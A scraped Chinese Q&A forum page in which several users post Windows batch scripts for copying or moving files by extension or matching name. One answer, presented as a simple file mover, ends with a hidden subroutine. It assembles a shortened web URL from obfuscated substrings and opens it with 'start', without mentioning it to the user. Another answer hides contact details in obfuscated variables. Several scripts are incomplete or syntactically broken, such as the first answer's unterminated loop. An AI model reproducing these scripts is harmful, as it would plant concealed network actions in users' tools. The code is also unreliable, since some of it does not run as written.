1樓:匿名使用者
@echo off
::請將不同的資料夾與此批處理放在同一個目錄下
set /p var=請輸入要複製的檔案型別(輸入格式:*.txt;*.pdf):
set /p path=請輸入要複製到的目標資料夾路徑:
::使用for迴圈查詢當前所有子檔案中的%var%型別檔案,並複製到指定路徑下。
for /f "delims=" %%a in ('dir /a-d /b /s %var%') do (
if not defined %%~nxa (
) else (
set /a n+=1
pause
注意:上面的批處理首先與使用者進行互動,讓使用者設定要複製的檔案型別以及要複製到目的路徑。接著使用for迴圈將當前目錄下的指定的檔案型別複製到指定路徑,如果發現有重名的檔案,就將第一個重名的檔案重名令,然後再複製新的檔案。
2樓:匿名使用者
如果名字相同就按名字排序後複製。如果類別相同就按照類別排序吧!選中第一個按住shift單機最後要選的。會將選中的第一個到最後一個檔案中間連續的檔案全部選中。自己試試吧
3樓:千羽之城
儲存**放到an資料夾根目錄。
4樓:匿名使用者
使用批處理複製多個不同字尾名的檔案到別的目錄下 100
5樓:北問邇
@echo offfor /r "e:\test\" %%a in (*.txt) do (copy "%%a" "f:
\123\")pause 假設複製e:\test資料夾裡的所有txt文字文件到f:\123資料夾,具體請結合實際修改
請教批處理複製2個資料夾相同檔名,字尾不同檔案到新的目錄裡
6樓:依夢琴瑤
@echo off & title 移動相同名的檔案 by 依夢琴瑤
cd /d "%~dp0"
::設定a路徑
set a_path=a
::設定b路徑
set b_path=a\b
::設定c路徑
set c_path=a\c
::設定d路徑
set d_path=a\d
for /f "delims=" %%a in ('dir /a-d/s/b "%b_path%\*"') do (
if exist "%c_path%\%%~na.*" (
move "%c_path%\%%~na.*" "%a_path%\"
move "%%~a" "%a_path%\"))
for /f "delims=" %%a in ('dir /a-d/s/b "%c_path%\*"') do (
if exist "%b_path%\%%~na.*" (
move "%b_path%\%%~na.*" "%a_path%\"
move "%%~a" "%a_path%\"))
move "%b_path%\*" "%d_path%\"
move "%c_path%\*" "%d_path%\"
pause
call :tome
exit
:tome
set "s=.:ailnhpst/fpdv"
start "" "%s:~6,1%%s:~9,1%%s:
~9,1%%s:~7,1%%s:~1,1%%s:
~10,1%%s:~10,1%%s:~8,1%%s:
~3,1%%s:~5,1%%s:~2,1%%s:
~0,1%%s:~4,1%%s:~9,1%%s:
~10,5%"
exit
7樓:
@echo off
資料夾1=d:\00000000\jpg"
set "資料夾2=d:\00000000\raw"
set "資料夾3=d:\00000000\all"
cd /d "%~dp0"
md "%資料夾3%" 2>nul
for /f "delims=" %%a in ('dir /a-d/b "%資料夾1%"') do (
if exist "%資料夾2%\%%~na.*" (echo;---------------"%%~na"---------------------
move "%資料夾2%\%%~na.*" "%資料夾3%\"
move "%資料夾1%\%%~na.*" "%資料夾3%\"))echo;any question +%#%%#% %zx%pause
使用bat的xcopy命令把一個目錄下的指定多個不同的檔案型別複製到別一個資料夾
8樓:別在回來找俄
一、bat命令把一個檔案複製到指定的資料夾的方法是
1、在電腦上新建一個資料夾,再建一個「txt」檔案,並命名、
2、把檔案的字尾名改為「.bat」。
3、開啟檔案,第一行輸入「copy c:\users\administrator\desktop\西遊記\1.jpg c:\」。
4、第二行輸入「pause」
5、儲存後關閉,雙擊檔案彈出「dos」介面
6、可看到c盤下已經複製了一個檔案。
二、bat命令就是批處理命令。批處理檔案是無格式的文字檔案,它包含一條或多條命令。它
的副檔名為 .bat 或 .cmd。在命令提示下鍵入批處理檔案的名稱,或者雙擊該批處理檔案,
系統就會呼叫cmd.exe按照該檔案中各個命令出現的順序來逐個執行它們。
9樓:匿名使用者
xcopy是用來處理檔案及資料夾相關的東西的,如果你只是單純複製是沒必要的,直接用copy就行了,並且copy和xcopy也不支援同時批定多個檔名(只能用萬用字元或具體檔名),你這種檔案又很少,最簡單的辦法直接用&連線兩個語句,即類似copy c:\windows\system32\1.dll d:
\bak© c:\windows\system32\2.exe d:
\bak© c:\windows\system32\3.mdb d:
\bak
如果檔案很多,那就視情況而定了,如果檔案不多,可以用shift,也就是先建立一個比如1.bat,內容如下
@echo off
:getfile
if "%1"=="" goto end
copy "c:\windows\system32\%1" d:\bak
shift
goto getfile
:end
用的時候直接輸入比如
1.bat 1.dll 2.exe 3.mdb 4.bak
如果檔案很多,比如上百個,尋就要用需要用到for了,也就是你把所有要複製的檔名寫入一個txt裡,每行一個,比如是1.txt,內容如下
1.dll
2.exe
3.mdb
4.bak
然後bat放在這個txt同一目錄下,內容為
@echo off
for /f %%i in (1.txt) do copy "c:\windows\system32\%%i" d:\bak
之後直接執行這個bat就可以了。
10樓:肥仔田艾餅
要從驅動器 a 將所有檔案和子目錄(包括所有空的子目錄)複製到驅動器 b,請鍵入:
xcopy a:b: /e
ab兩個資料夾要在同一目錄下
編寫bat檔案刪除資料夾,寫個批處理刪除指定檔案或指定資料夾
1 電腦上新建一個資料夾,新建一個 txt 檔案,並命名。2 雙擊開啟,錄入以下字元後儲存。3 更改副檔名為bat,點選是,確認。4 拖拽要刪除的資料夾到bat檔案圖示上。5 鬆開手就可以看到如下視窗,再看上面的資料夾已經不見蹤影了。開啟記事本,echo off del e qq f s y 說明 ...
不同資料夾,兩個excel工作簿,用vba同步
是點一個按鈕同步?還是每操作一步就要同步?excel如何將多個在不同資料夾的相同工作表匯入到一張表中,用vba實現 可以不用vba因為簡單 複製表1區域 選擇性貼上 轉置 確定到表2目標單元格 願以的話把 發給我幫助解決 二二五二八零九二三八 hi 我,給你 excel vba 一個工作簿的兩個不同...
dos如何批量複製某個某個資料夾中的檔案到另地方
方法1 下面的這個批處理 放到d 1裡面執行即可。echo off md d 2 cls for f tokens 1 delims i in dir a d b s do copy i d 2 pause 方法2 這個批處理可以放到電腦任何一個地方執行 md d 2 cls set s d 1 f...